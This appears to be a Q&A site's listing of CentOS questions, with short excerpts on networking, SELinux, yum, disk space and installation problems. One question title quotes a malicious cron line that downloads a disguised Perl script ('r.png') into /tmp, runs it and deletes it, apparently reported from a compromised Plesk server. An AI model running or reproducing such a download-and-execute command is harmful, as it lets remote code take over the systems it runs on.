CentOS is an Enterprise-class Linux Distribution derived from Redhat Enterprise Linux sources freely provided to the public.
2
votes
1answer
377 views
CentOS network connection breaks every 5 min
I installed CentOS 6.2 about a month ago and it worked fine. Two days ago I saw that the internet connection is broken, so I reconfigured it. I was able to use it but after a few minutes it broke ...
0
votes
1answer
107 views
How to add an item to the Applications menu?
How can I add an application to Applications > Internet in Gnome Desktop running on CentOS 6.4?
Per this old Docs link, it suggests to edit /etc/xdg/menus/applications.menu.
How can I add ...
0
votes
0answers
68 views
Booting 32bit CentOS from external HDD on Lenovo IdeaPad Y580
I've got Lenovo IdeaPad Y580 with a 64bit CPU and I would like to boot it from my external Toshiba HDD with a 32bit CentOS 6.4 installed on it. However all my tries ended up with kernel panic: not ...
0
votes
1answer
120 views
Centos freeing up disk space
I have a CentOS server running Plesk and it's run out of space on the plesk partition. I have narrowed down where a lot of the disk space is being used, but I'm not sure how to move forward. Can I ...
0
votes
0answers
38 views
User installation emacs 23 on a centos 5 with system-wide installed emacs-21.4-20.el5?
I would like to install my own copy of emacs 23 on a Centos 5 Linux where I don't have admin rights. I would like to have my own modern copy of emacs on this Centos 5 system since I've got a problem ...
3
votes
2answers
2k views
Installing CentOs 5.5-x86_64 kernel hangs with message NET: Registered Protocol family 2
The title pretty much says it all. I am attempting to install CentOS 5.5 on Oracle VM VirtualBox. I press enter for normal installation, things start to happen and then it hangs with the above ...
0
votes
2answers
55 views
increasing a logical volume
I need to increase the logical volume of the var directory, the maximum size of var right now is 10GB, I need to make it 50GB. I have a Centos 6 server.
The output of df -h is:
Filesystem ...
1
vote
0answers
93 views
selinux, dovecot and sieve
I've just started learning to configure SELINUX and this morning on my CentOS 6.4 x64 system, with postfix/dovecot/mysql installed, I woke up to the following selinux issue
found 1 alerts in ...
-1
votes
1answer
92 views
Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]
I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
0
votes
1answer
51 views
What is the difference between the whatis and apropos commands?
CentOS 6.3 / RHEL 6.3
Can someone please explain the difference between the whatis command and the apropos command? I noticed that both appear to be installed by default and I'm not sure what the ...
0
votes
1answer
248 views
netinstall media of CentOS 6.4 is broken?
I couldn't find a way to customize the partition schema during installation of CentOS 6.4, all these 3 options lead me directly to the "confirm disk change" screen.
Was it configured to be so? ...
1
vote
2answers
209 views
Which Linux distribution is suitable for serverside development and somewhat easy to use?
I need to setup a Linux-based server which is going to be the backend for our web services.
This is what I need: (In order of importance)
A GUI to manage applications and files
It would be running ...
0
votes
1answer
32 views
Installing a software on Linux- Centos
I am a complete amateur in Linux.
There is a software that only runs on Linux. It came with a virtual machine package and every thing.
When inside the virtual machine, I run a .py file in the ...
0
votes
0answers
57 views
How do I power off QLogic ISP2532 FC adapter via PCI?
I'm developing some automatic test. During it I need to simulate disconnection of fiber channel.
FC adapter is QLogic ISP2532, OS I'm working on is CentOS 6.2.
Currently I've tried to disable it ...
2
votes
3answers
591 views
Can't compile XBMC 12 because of TAGLIB problem
I am trying to compile the latest version of XBMC on CentOS 6 x64 but on ./configure I get:
checking for TAGLIB... no
configure: error: Could not find a required library. Please see the README for ...
1
vote
2answers
85 views
Is it possible to have a cron job run more frequently than once every minute?
CentOS 6
I have a shell script that performs a task every minute. The task itself only takes a couple seconds to complete and ideally I'd like to have this shell script execute 2-3 times per ...
1
vote
1answer
194 views
How to colorize “root” in red in CentOS?
This is the content of /etc/bashrc, I would like to modify it for show "root" as red but don't know where to add the color code.
# /etc/bashrc
# System wide functions and aliases
# Environment stuff ...
1
vote
1answer
2k views
How do I configure CentOS 6.4 to allow normal users to run startx, without installing Gnome/KDE?
I installed CentOS 6.4 x86 from the minimal installation CD into a qemu/kvm virtual machine and installed the basic X server using:
yum groupinstall "X Window System" "Fonts"
When I run startx as a ...
3
votes
2answers
1k views
How does createrepo work. How does yum understand parse its files. A conceptual explanation
I am not looking for a how-to on creating a repo (createrepo) or using yum.
I want to understand how they work together.
I want to know what files yum looks at and why, what those files contain.
I ...
1
vote
2answers
594 views
Can I “yum upgrade” to a specific CentOS version?
I'm using a third party proprietary application on CentOS 5.4, which is known to malfunction on pristine 5.9 or later. I would like to incrementally upgrade to the latest CentOS version where that ...
0
votes
0answers
181 views
Centos 6.4 Font and Icon Problems
I have a 64 bit i7 computer that has AMD Radeon 7700m and 1920x1080 screen resolution.
I have installed Centos and I have Gnome installed on it. I have very small fonts and icons at many programs. I ...
4
votes
3answers
117 views
Can't open syntax.vim error when using vimrc
When I try to open my .bashrc file. then it shows these lines:
Errordetected while processing /etc/vimrc:
line 45:
E848: Can't open file /usr/share/vim/vim70/syntax/syntax.vim
Press ENTER or type ...
1
vote
0answers
127 views
RHN Satellite scout won't push
My RHN Satellite (Spacewalk) server is having issues with monitoring. The Spacewalk Monitor Scout will not push out successfully. It always stops with a Request Expired status. I can't seem to find ...
1
vote
1answer
60 views
IPs that I bound keep stop responding to ping
So Internic sent over a few cs, and it seems fine on some of them. However, on some I have to run
arping -U on to get them up and they only seem to stay up for a short time. They are a /24 properly ...
1
vote
0answers
102 views
rc.local not being executed when os boots up
I have a script that needs to be run when os boots up. I added it to /etc/rc.local. It was working fine for sometime but now rc.local does not load at boot time.
When i checked the permissions on the ...
1
vote
0answers
72 views
Error when running ntpd on openVZ host: cap_set_proc() failed to drop root privileges:
CentOS 6.x | OpenVZ
I want to run a NTP server on a vps host of mine. Is this possible?
When I try to start ntpd, it fails immediately and gives the following error:
Mar 14 22:47:44 ev1 ...
1
vote
1answer
160 views
How to setup RStudio Desktop verion on a CentOS 5 machine?
I have a problem of install RStudio Desktop verion on a CentOS 5 machine. Basically, RStudio Desktop needs QT4.8; however, I am not sure how to update my CentOS 5 QT4 to QT4.8. Otherwise, the Cmake ...
3
votes
2answers
3k views
CentOS 6.3 Device eth0 does not seem to be present (Minimal non-cloned setup)
I installed CentOS 6.3 on my hardrive partition (new install...minimal install).
After successful installation, I see that eth0 was down
looked for 70-persistent-net.rules file under /etc/udev .. ...
1
vote
0answers
140 views
Why setsebool command of SELINUX taking so long and slow?
Hi I am new to the SELINUX and I have noticed the command setsebool take longer time than other linux commands. Such as:
setsebool -P ftp_home_dir ON
Out of curiosity I want to know why "setsebool" ...
1
vote
3answers
278 views
Minor upgrades and version numbers on CentOS
I installed CentOS 6.0. Later I ran yum update to apply software updates. After that my operating system version changed to 6.3. Why did the version change? How far up will it go? How can I choose ...
2
votes
2answers
1k views
How to flush local DNS cache in CentOS
(I am aware that googling this question gives me tons of stuff, but literally none worked) I'm looking for a way to flush the local DNS cache on a Centos 6 system, it is not running any DNS server or ...
2
votes
1answer
135 views
How should I manage CentOS for long term production use?
I am newbie server developer who is preparing a new service. I looked for some server hosting services, and the company I chose supports only CentOS 5.8 and 6.2.
So I wanted to try it on my local ...
2
votes
1answer
190 views
Error during yum update
CentOS 6.3
Recently I've started getting the following error on my CentOS VPS when running yum update:
[user@foo1 ~]# yum update
Loaded plugins: fastestmirror
Loading mirror speeds from cached ...
5
votes
3answers
15k views
How can I fix “cannot find a valid baseurl for repo” errors on CentOS?
I finished installing CentOS 6, but when I tried running yum update I got:
[root@centos6test ~]# yum update
Loaded plugins: fastestmirror, refresh-packagekit
Determining fastest mirrors
Could not ...
3
votes
3answers
1k views
Installing centos and freebsd with serial console
I am trying to install Centos 5.7 and FreeBSD 8.2 on KVM with serial console access. This is what I used:
sudo virt-install -n freebsd -r 1024 --vcpus=2
--os-type unix --accelerate -v
--disk ...
0
votes
0answers
103 views
vsftpd allow full access in selinux
When I try to alow full access to FTP, suing the setsebool -P allow_ftpd_full_access 1
I am getting this error:
libsemanage.get_home_dirs: insta homedir /var/www/html or its parent directory ...
2
votes
0answers
242 views
Installing development tools in RHEL 6
I have admin privilege on my office computer (running RHEL 6) which is connected in a network. I was trying to install development tools using the command: sudo yum groupinstall "Development Tools" ...
4
votes
2answers
3k views
bridged networking with kvm
I'm trying to get a guest virtual machine connected to my network using bridging. I've come across a couple of resources online, but they seem to be out of date, deal with xen or Ubuntu or don't seem ...
0
votes
0answers
77 views
In Centos 6.3- Configuring ssh for a grid server service
I am running a gridserver setup with 5 interconnected machines, I am now adding the 6th.
each has it own ip address on a separate router/switch starting at 192.168.2.100 -192.168.2.106.
The newest ...
-1
votes
1answer
65 views
Why setsebool for httpd not working with -P parameter?
I'm trying to disable SELinux for httpd, but when I use the the setsebool command with -P parameter, it doesn't work:
setsebool -P http_can_network_connect 1
Nothing happens when I do that ie, the ...
3
votes
1answer
234 views
Kickstart: one network card with DHCP, one with static IP?
I am using Kickstart to automate a CentOS install. I wanted one of the interfaces to have static IP so I wrote -
network --onboot yes --bootproto static \
-ip="intended IP" -netmask="intended ...
1
vote
3answers
132 views
Best tool for monitoring server usage
I was just wondering what the best tools for retracing logs and what logs I should be checking to work out what's going wrong with a server, or what the client has executed to get the server into it's ...
3
votes
4answers
5k views
How do I upgrade OpenSSL?
According to these instructions:
http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI
I need to use OpenSSL 0.9.8k or later (right now it's on 1.0.0c) to use name based virtual hosts in apache. ...
1
vote
0answers
78 views
Centos 6.2: Unable to open terminal after vbox save state
I'm experiencing this issue frequently. Usually, I work on my Centos 6.2 in VBox for a while and then close it by saving state (going to other machines or doing host work). Then, I resume my session ...
1
vote
1answer
52 views
any utility on centos 6 to sound an alarm when power is low
Is there an application that will set an audible alarm when the battery goes low on a centos 6 IBM 430 machine?
Details of the problem here:
I have set it hibernate when battery is low. However, it ...
0
votes
0answers
97 views
Upgrade from Fedora 17 -> 18 problem
I tried to update Fedora 17 to 18 from within yum using the directions on the fedora web site. When I rebooted I ended up in the CentOS installer screen. I am not sure how that happend but I can't ...
-1
votes
1answer
89 views
unrar for centos 5.7 needs unrar-4.20-2.mga3.nonfree.x86_64.rpm which causes an error
I'm trying to install unrar package for my cpanel. as some people suggested that I need this package unrar-4.20-2.mga3.nonfree.x86_64.rpm . So when I run rpm -ivh unrar-4.20-2.mga3.nonfree.x86_64.rpm ...
2
votes
0answers
205 views
ping receives no packets, but tcpdump can see them coming in
I'm migrating an old Ubuntu OpenVZ instance (Jaunty) to a new CentOS 6.3 host (using vzdump/vzrestore).
Now networking does not work properly. Facts:
It works just fine if a setup a new OpenVZ ...
1
vote
2answers
84 views
2 ip ranges / 1 nic OR why does one ip range follow default route before local routes
Updated at the bottom
I'm using Centos as a router, and just replaced the routing system at work. I've got 2 routers to send data around. For the most part it's working. On one router I have 2 ...
0
votes
0answers
109 views
Share display : 0.0 on freenx client
I have CentOs 5.9 with freenx installed. On the client side I use a Windows Machine with nx client.
I recently successfully upgraded my nvidia drivers to support OpenGL 2.0 and higher. However, when ...
